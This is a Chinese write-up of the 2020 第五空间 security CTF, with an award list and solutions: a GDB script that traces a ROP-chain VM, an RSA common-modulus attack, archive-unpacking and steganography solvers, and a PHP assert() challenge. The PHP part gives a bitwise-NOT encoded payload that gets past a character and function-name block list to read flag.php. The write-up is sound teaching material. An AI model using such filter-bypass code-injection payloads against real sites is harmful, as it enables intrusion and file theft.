2020 第五空间智能安全大赛 WriteUp

🏛️ 组织架构

  • 指导单位：第四届世界智能大会组委会

  • 主办单位：天津市委网信办

  • 承办单位：360 集团、南开大学网络空间安全学院、天津大学网络安全学院、天津理工大学计算机科学与工程学院等

  • 协办单位：国家工业信息安全发展研究中心、国家计算机网络与信息安全管理中心、国家计算机病毒应急处理中心、麒麟软件有限公司、天津飞腾信息技术有限公司等

决赛于 2020 年 9 月 11 日举行，最终 35 支队伍获奖。完整获奖名单如下：

奖项 获奖队伍
特等奖 Ph0t1n1a (上海交通大学)
一等奖 Nu1L、blm、天枢 Dubhe、Redbud
二等奖 Venom、W&M、黄金熊与黄红黄熊与恰饭困难、Kap0k、M01N、锅包又、Lancet、BOI、宸极实验室、D0g33
三等奖 Vidar-Team、GXY、Rosetta、天榕星、QF.team、DAWN、Mini-Venom、鱼香肉丝战队、secdriverlab、Lqers、天璇 Merak、这次是真的摸鱼、0xcSec、韭菜韭菜韭菜、FourNoobS、destiny、flybug、北极星、ha1cyon、四条单身狗

Reverse

rev（ROP VM）

pasted_1788779541371_o3g1t5.png

IDA 反编译，核心是 sub_400D19 函数

pasted_1788780253636_3sakgk.png

1
2
3
4
5
sub_400D19 proc near
mov     r12, rsp
lea     rsp, data
retn
sub_400D19 endp

mov r12, rsp 把当前真实栈地址保存到 r12 里

lea rsp, data 它把 rsp 改成了 data 段的地址，正常情况下，rsp 指向系统栈，例如 rsp ---> 原来的栈

也就是说，程序不再从正常栈上取返回地址，而是准备从 data 区域里取返回地址

retn 本质上等价于 pop rip;jmp rip;，也就是从 [rsp] 取出 8 字节，把它当成返回地址跳过去执行 rsp += 8

所以流程变为

1
2
3
4
5
6
7
8
9
10
11
main
 |
 | 调用 sub_400D19(argv[1])
 v
sub_400D19:
    r12 = 原始 rsp
    rsp = data
    ret
        |
        v
    跳到 data 里存放的第一个 gadget 地址

这就是典型的 ROP 链启动器，假设 data 长这样

1
2
3
4
5
data:
    0x400abc
    0x400def
    0x400123
    0x400456

那么 retn 会先跳到 0x400abc，如果 0x400abc 处是一小段 gadget，比如：

1
2
pop rax
ret

那么它执行完后又会继续从 data+8 取下一个地址，继续跳

1
2
3
4
5
data[0] -> gadget1
data[1] -> gadget2
data[2] -> gadget3
data[3] -> gadget4
...

查看 data 区域，data 里全是小 gadget 地址

pasted_1788780902980_mhxppa.png

但手动查看肯定是不行的，应该 GDB 动态 trace ROP 链真实执行流，新建脚本 vim trace_rop.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
import gdb

# ------------------------------------------------------------
# 代码段范围
# ------------------------------------------------------------
# 这个题的可执行代码大致位于 0x400000 ~ 0x401000。
# trace 时如果 RIP 跳出了这个范围，说明可能已经执行到 libc、
# 程序异常退出，或者 ROP 链结束了，所以可以停止追踪。
TEXT_START = 0x400000
TEXT_END   = 0x401000

# ------------------------------------------------------------
# ROP 链所在的数据段范围
# ------------------------------------------------------------
# 前面 sub_400D19 中有：
#
#   mov r12, rsp
#   lea rsp, data
#   ret
#
# 所以程序会把 rsp 劫持到 data 段。
# data 的地址范围大概是 0x601060 ~ 0x601360。
# 当 rsp 落在这个范围内时，说明当前正在执行 ROP 链。
DATA_START = 0x601060
DATA_END   = 0x601360

# ------------------------------------------------------------
# 需要重点标记的指令关键词
# ------------------------------------------------------------
# trace 输出很多行，全部看会很乱。
# 所以这里设置一些关键词，只要当前指令中包含这些关键词，
# 就在输出末尾加上 "<==="，方便后面人工筛选关键逻辑。
#
# rdi/rsi/rdx:
#   关注输入参数和相关寄存器。
#
# cmp/test/je/jne/jz/jnz:
#   关注比较和条件跳转。
#
# xor/add/sub/imul/shl/shr:
#   关注加密、变换、运算逻辑。
#
# setz/setnz/sete/setne:
#   关注根据标志位生成布尔值的逻辑。
#
# ret/retn:
#   ROP 链每个 gadget 通常以 ret 结束。
KEYWORDS = [
    "rdi", "rsi", "rdx",
    "cmp", "test",
    "xor", "add", "sub", "imul",
    "shl", "shr",
    "sete", "setne", "setz", "setnz",
    "je", "jne", "jz", "jnz",
    "ret", "retn"
]

# ------------------------------------------------------------
# 读取寄存器值
# ------------------------------------------------------------
# name 传入寄存器名字，例如：
#
#   reg("rax")
#   reg("rsp")
#   reg("rip")
#
# 内部会执行：
#
#   gdb.parse_and_eval("$rax")
#
# 如果读取失败，就返回 0，避免脚本中断。
def reg(name):
    try:
        return int(gdb.parse_and_eval("$" + name))
    except Exception:
        return 0

# ------------------------------------------------------------
# 反汇编当前 RIP 指向的指令
# ------------------------------------------------------------
# 等价于在 gdb/pwndbg 里执行：
#
#   x/i $rip
#
# 例如可能返回：
#
#   => 0x400d19: mov r12,rsp
#
# 如果反汇编失败，就返回空字符串。
def disasm():
    try:
        return gdb.execute("x/i $rip", to_string=True).strip()
    except Exception:
        return ""

# ------------------------------------------------------------
# 自定义 GDB 命令：tracerop
# ------------------------------------------------------------
# 继承 gdb.Command 后，就可以在 pwndbg 里直接使用：
#
#   tracerop
#
# 或者指定最多追踪多少条指令：
#
#   tracerop 3000
#
# 这个命令会不断：
#   1. 读取当前寄存器
#   2. 打印当前指令
#   3. 执行 si 单步进入
#   4. 继续下一条
class TraceROP(gdb.Command):
    def __init__(self):
        # 注册一个新的 gdb 命令，名字叫 tracerop
        super(TraceROP, self).__init__("tracerop", gdb.COMMAND_USER)

    def invoke(self, arg, from_tty):
        # 如果用户输入：
        #
        #   tracerop 5000
        #
        # 那么最多追踪 5000 条指令。
        #
        # 如果用户只输入：
        #
        #   tracerop
        #
        # 默认最多追踪 3000 条指令。
        max_count = int(arg) if arg else 3000

        # 开始循环 trace
        for i in range(max_count):
            # 读取常用寄存器
            #
            # rip：当前正在执行的指令地址
            # rsp：当前栈指针
            # rax/rbx/rcx/rdx：常用通用寄存器
            # rdi/rsi：函数参数寄存器，这题里 rdi/rsi 都是 argv[1]
            # r12：题目用它保存原来的系统栈 rsp
            rip = reg("rip")
            rsp = reg("rsp")
            rax = reg("rax")
            rbx = reg("rbx")
            rcx = reg("rcx")
            rdx = reg("rdx")
            rdi = reg("rdi")
            rsi = reg("rsi")
            r12 = reg("r12")

            # 获取当前 RIP 处的汇编指令
            ins = disasm()

            # 如果 RIP 已经不在程序代码段范围内，就停止 trace。
            # 防止继续 trace 到 libc 或者无效地址。
            if rip < TEXT_START or rip > TEXT_END:
                print("[STOP] rip out of .text: 0x%x" % rip)
                break

            # 默认不标记
            mark = ""

            # 把当前指令转成小写，方便关键词匹配
            low = ins.lower()

            # 如果当前指令中包含我们关心的关键词，
            # 就在输出末尾加上 "<==="。
            if any(k in low for k in KEYWORDS):
                mark = "  <==="

            # 判断当前 rsp 是否位于 data 段。
            #
            # 如果 rsp 在 0x601060 ~ 0x601360 之间，
            # 说明当前栈已经被劫持到 ROP 链区域。
            #
            # 否则说明还在正常系统栈上。
            if DATA_START <= rsp <= DATA_END:
                stack_area = "ROP"
            else:
                stack_area = "SYS"

            # 打印当前 trace 信息
            #
            # 输出格式大概是：
            #
            # [0003][ROP] rip=0x4007ba rsp=0x601068 ...
            #
            # [0003]：
            #   第几条指令
            #
            # [ROP] / [SYS]：
            #   当前 rsp 是在 ROP 链区域，还是正常系统栈区域
            #
            # rip/rsp/rax/...：
            #   当前寄存器状态
            #
            # ins：
            #   当前汇编指令
            #
            # <===：
            #   表示这条指令比较关键，后面分析时优先看
            print(
                "[%04d][%s] rip=0x%x rsp=0x%x "
                "rax=0x%x rbx=0x%x rcx=0x%x rdx=0x%x "
                "rdi=0x%x rsi=0x%x r12=0x%x | %s%s"
                % (
                    i,
                    stack_area,
                    rip,
                    rsp,
                    rax,
                    rbx,
                    rcx,
                    rdx,
                    rdi,
                    rsi,
                    r12,
                    ins,
                    mark
                )
            )

            # 单步执行一条指令。
            #
            # 这里使用 si，而不是 ni。
            #
            # si = step instruction，会进入 call 或 ret 跳转后的地址。
            # 对 ROP 链来说，我们需要跟踪每次 ret 之后跳到哪个 gadget，
            # 所以必须用 si。
            try:
                gdb.execute("si", to_string=True)
            except Exception as e:
                # 如果单步执行失败，例如程序崩溃或退出，就停止 trace。
                print("[STOP]", e)
                break

# 实例化类，完成命令注册。
# 加载脚本后，pwndbg 里就可以直接使用 tracerop 命令。
TraceROP()
1
2
3
4
5
6
7
8
9
10
11
12
13
pwndbg rev_v2

source trace_rop.py
b *0x400D19
run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

set logging file rop_trace.log
set logging overwrite on
set logging enabled on

tracerop 3000

set logging enabled off

这样子就可以借助 AI 去恢复程序逻辑

pasted_1788794401726_8r52sc.png

这题的 ROP 链实现的是一个类似 AES MixColumns 的变换，AI 给出的解题脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
target = [
    0x64, 0x25, 0x0F, 0x6C,
    0x20, 0x23, 0x8A, 0xDE,
    0x10, 0x0E, 0xA5, 0xE1,
    0x43, 0x37, 0x11, 0x53
]

def xtime(a):
    a &= 0xff
    if a & 0x80:
        return ((a << 1) ^ 0x1b) & 0xff
    return (a << 1) & 0xff

def mul(a, b):
    res = 0
    while b:
        if b & 1:
            res ^= a
        a = xtime(a)
        b >>= 1
    return res & 0xff

def inv_mix_column(col):
    a0, a1, a2, a3 = col
    return [
        mul(a0, 14) ^ mul(a1, 11) ^ mul(a2, 13) ^ mul(a3, 9),
        mul(a0, 9)  ^ mul(a1, 14) ^ mul(a2, 11) ^ mul(a3, 13),
        mul(a0, 13) ^ mul(a1, 9)  ^ mul(a2, 14) ^ mul(a3, 11),
        mul(a0, 11) ^ mul(a1, 13) ^ mul(a2, 9)  ^ mul(a3, 14),
    ]

# 先把 target 还原成 MixColumns 之后的值
processed = [target[i] ^ i for i in range(16)]

# 每 4 字节一组逆 MixColumns
plain_col_order = []
for i in range(0, 16, 4):
    plain_col_order += inv_mix_column(processed[i:i+4])

# ROP 里是按列取的，需要转回正常字符串顺序
plain = [0] * 16
for col in range(4):
    for row in range(4):
        plain[col + row * 4] = plain_col_order[col * 4 + row]

flag = b"ctf{" + bytes(plain) + b"}"
print(flag.decode())

最后得到 flag：ctf{ropchain_is_g00d}

Crypto

rosb（共模攻击）

babasay(m) 使用同一个 n，对同一个 m 用两个不同的 e 加密，并输出

修改下板子改为十六进制格式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
def long_to_bytes(x: int) -> bytes:
    if x == 0:
        return b"\x00"
    return x.to_bytes((x.bit_length() + 7) // 8, "big")


def parse_hex(s: str) -> int:
    s = s.strip()
    if s.endswith(("L", "l")):
        s = s[:-1]
    return int(s, 16)


def exgcd(a: int, b: int):
    if b == 0:
        return a, 1, 0
    g, x1, y1 = exgcd(b, a % b)
    return g, y1, x1 - (a // b) * y1


def pow_signed(c: int, k: int, n: int) -> int:
    if k >= 0:
        return pow(c, k, n)
    return pow(pow(c, -1, n), -k, n)


n = parse_hex("""
0xa1d4d377001f1b8d5b2740514ce699b49dc8a02f12df9a960e80e2a6ee13b7a97d9f508721e3dd7a6842c24ab25ab87d1132358de7c6c4cee3fb3ec9b7fd873626bd0251d16912de1f0f1a2bba52b082339113ad1a262121db31db9ee1bf9f26023182acce8f84612bfeb075803cf610f27b7b16147f7d29cc3fd463df7ea31ca860d59aae5506479c76206603de54044e7b778e21082c4c4da795d39dc2b9c0589e577a773133c89fa8e3a4bd047b8e7d6da0d9a0d8a3c1a3607ce983deb350e1c649725cccb0e9d756fc3107dd4352aa18c45a65bab7772a4c5aef7020a1e67e6085cc125d9fc042d96489a08d885f448ece8f7f254067dfff0c4e72a63557L
""")

e1 = parse_hex("0xf4c1158fL")
c1 = parse_hex("""
0x2f6546062ff19fe6a3155d76ef90410a3cbc07fef5dff8d3d5964174dfcaf9daa003967a29c516657044e87c1cbbf2dba2e158452ca8b7adba5e635915d2925ac4f76312feb3b0c85c3b8722c0e4aedeaec2f2037cc5f676f99b7260c3f83ffbaba86cda0f6a9cd4c70b37296e8f36c3ceaae15b5bf0b290119592ff03427b80055f08c394e5aa6c45bd634c80c59a9f70a92dc70eebec15d4a5e256bf78775e0d3d14f3a0103d9ad8ea6257a0384091f14da59e52581ba2e8ad3adb9747435e9283e8064de21ac41ab2c7b161a3c072b7841d4a594a8b348a923d4cc39f02e05ce95a69c7500c29f6bb415c11e4e0cdb410d0ec2644d6243db38e893c8a3707L
""")

e2 = parse_hex("0xf493f7d1L")
c2 = parse_hex("""
0xd32dfad68d790022758d155f2d8bf46bb762ae5cc17281f2f3a8794575ec684819690b22106c1cdaea06abaf7d0dbf841ebd152be51528338d1da8a78f666e0da85367ee8c1e6addbf590fc15f1b2182972dcbe4bbe8ad359b7d15febd5597f5a87fa4c6c51ac4021af60aeb726a3dc7689daed70144db57d1913a4dc29a2b2ec34c99c507d0856d6bf5d5d01ee514d47c7477a7fb8a6747337e7caf2d6537183c20e14c7b79380d9f7bcd7cda9e3bfb00c2b57822663c9a5a24927bceec316c8ffc59ab3bfc19f364033da038a4fb3ecef3b4cb299f4b600f76b8a518b25b576f745412fe53d229e77e68380397eee6ffbc36f6cc734815cd4065dc73dcbcbL
""")

g, a, b = exgcd(e1, e2)

print("[+] gcd(e1, e2) =", g)
print("[+] a =", a)
print("[+] b =", b)
print("[+] check =", a * e1 + b * e2)

if g != 1:
    raise ValueError("e1 和 e2 不互素，不能直接使用标准共模攻击")

m = (pow_signed(c1, a, n) * pow_signed(c2, b, n)) % n
plaintext = long_to_bytes(m)

print("[+] plaintext length =", len(plaintext))
print("[+] plaintext =", plaintext)

flag = plaintext[:-64]
print("[+] flag =", flag.decode(errors="replace"))

Misc

loop（签到）

循环套娃解压缩

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/env python3
import io, re, zipfile, tarfile

def unpack(blob):
    """解压单一文件的 ZIP 或 TAR，返回 (格式, 数据)。"""
    # ZIP 文件头
    if blob.startswith(b"PK\x03\x04"):
        with zipfile.ZipFile(io.BytesIO(blob)) as z:
            names = z.namelist()
            assert len(names) == 1, "ZIP 内文件数不为 1"
            return "zip", z.read(names[0])
    # TAR 文件头（ustar 位于 257 字节处）
    if len(blob) > 262 and blob[257:262] == b"ustar":
        with tarfile.open(fileobj=io.BytesIO(blob)) as t:
            files = [m for m in t.getmembers() if m.isfile()]
            assert len(files) == 1, "TAR 内文件数不为 1"
            return "tar", t.extractfile(files[0]).read()
    return None, blob

data = open("file", "rb").read()

while True:
    # 搜索 flag 字符串
    if m := re.search(rb"flag\{[^}\r\n]+\}", data, re.I):
        print(m.group().decode())
        break
    fmt, data = unpack(data)
    if fmt is None:          # 无法继续解压
        print("到达非压缩层")
        break
    print(f"解开一层: {fmt}") # 可注释掉以精简输出
1
flag{9e24d838-8f7d-486b-ad55-03d345bb5029}

run（文件附加隐写）

pasted_1784209910163_pd4i83.png

先 binwalk 查看有没有文件隐藏

pasted_1784210254030_xzmqnv.png

分离出来后点击 run.exe 自动生成了一个 .tif

pasted_1784210499062_tmv3ih.png

WinHex 里面看有提示在尾端

pasted_1784210595212_ahway8.png

通过 PS 看到了隐藏代码

pasted_1784210618703_zqhb3s.png

编写脚本拿到 flag

1
2
3
4
5
6
7
8
9
10
11
a = 'njCp1HJBPLVTxcMhUHDPwE7mPW'

flag = ""
for i in range(len(a)):
    if i % 2 == 0:
        flag += chr(ord(a[i]) - 1)
    else:
        flag += chr(ord(a[i]) + 1)
print flag

# mkBq0IICOMUUwdLiTICQvF6nOX

Web

hate_php（取反绕过 + 动态调用）

pasted_1784206949241_93dnyr.png

网页源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
error_reporting(0); 

if(!isset($_GET['code'])){
    highlight_file(__FILE__);
}else{
    $code = $_GET['code'];

    // 第一层过滤：禁止含有 f,l,a,g,.,p,h,/,;,"',`,|,[,],_,= 等字符（不区分大小写）
    if (preg_match('/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i',$code)) { 
        die('You are too good for me'); 
    }

    // 第二层过滤：获取 PHP 所有内置函数名作为黑名单
    $blacklist = get_defined_functions()['internal'];
    foreach ($blacklist as $blackitem) { 
        // 若 $code 中出现任意内部函数名，则拦截
        if (preg_match ('/' . $blackitem . '/im', $code)) { 
            die('You deserve better'); 
        } 
    }

    assert($code);
}

利用 PHP 字符串按位取反 ~，例如

1
2
0x97 ^ 0xff = 0x68
0x68 对应 ASCII 字符 h

assert() 接收到字符串时，会把字符串当 PHP 代码执行，构造 Payload

1
("highlight_file")("flag.php");
1
(~%97%96%98%97%93%96%98%97%8B%A0%99%96%93%9A)((~%99%93%9E%98%D1%8F%97%8F))